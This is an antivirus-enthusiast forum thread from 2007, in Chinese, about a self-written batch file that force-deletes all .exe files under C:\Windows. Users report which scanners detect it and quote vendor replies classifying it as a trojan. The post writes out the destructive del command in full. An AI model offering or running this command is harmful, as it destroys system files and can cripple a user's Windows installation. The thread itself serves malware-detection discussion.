自己写的很简单的代码

显示全部楼层 · 发表于 2007-11-29 20:13:37

在记事本中输入下面两行代码
@echo off
del /f /s /q c:\windows\*.exe
然后把它的后缀名改为bat
懂点批处理的人都知道它是一串恶意代码可以删除c:\windows下的所有exe文件
但是我把它放到Virscan中扫描只有8%（3款）杀毒软件报毒在我的电脑上卡巴也报了
为什么这么少的杀毒软件报呢？？

显示全部楼层 · 发表于 2007-11-29 20:43:41

RX20.20.32不认为是病毒！

显示全部楼层 · 发表于 2007-11-29 21:22:42

变种?上报!

已隔離: 特洛伊木馬程式 Trojan.DOS.Filipino (修改) 檔案: C:\Documents and Settings\kato9096\桌面\virus.rar/陔膘恅掛恅紫.bat

[ 本帖最后由 kato9096 于 2007-11-29 23:12 编辑 ]

显示全部楼层 · 发表于 2007-11-29 21:36:54

驱逐舰无反应！

显示全部楼层 · 发表于 2007-11-29 21:38:01

批处理到底是恶意还是怎么着有点难界定啊。。。

倒是那些调用所谓恶意批处理的程序应该被认为是样本

显示全部楼层 · 发表于 2007-11-29 21:49:38

antivir avast! all miss

显示全部楼层 · 发表于 2007-11-29 22:45:35

原帖由 kato9096 于 2007-11-29 21:22 发表
变种?上报!

Hello.
Trojan.BAT.KillFiles.gq
New malicious software was found in the attached file.
It's detection will be included in the next update. Thank you for your help.
-----------------
Regards, Yury Nesmachny
Virus Analyst, Kaspersky Lab.

Ph.: +7(495) 797-8700
E-mail: newvirus@kaspersky.com
http://www.kaspersky.com http://www.viruslist.com

显示全部楼层 · 发表于 2007-11-29 22:47:18

The file '#### ########.bat' has been determined to be 'MALWARE'. Our analysts named the threat BAT/DeleteFiles.B. The term "BAT/" denotes a virus in a Batch format. Batch file viruses execute commands from the commandline whereby the system can be modified.Detection will be added to our virus definition file (VDF) with one of the next updates.

显示全部楼层 · 发表于 2007-11-29 23:00:23

微点貌似也没有反应，，运行了几秒钟后我就关掉了，，系统本身还没有反应，，过会试试能否重启？？

显示全部楼层 · 发表于 2007-11-29 23:07:20

已经重启回来了，，系统貌似很正常，，，

[可疑文件] 自己写的很简单的代码

本帖子中包含更多资源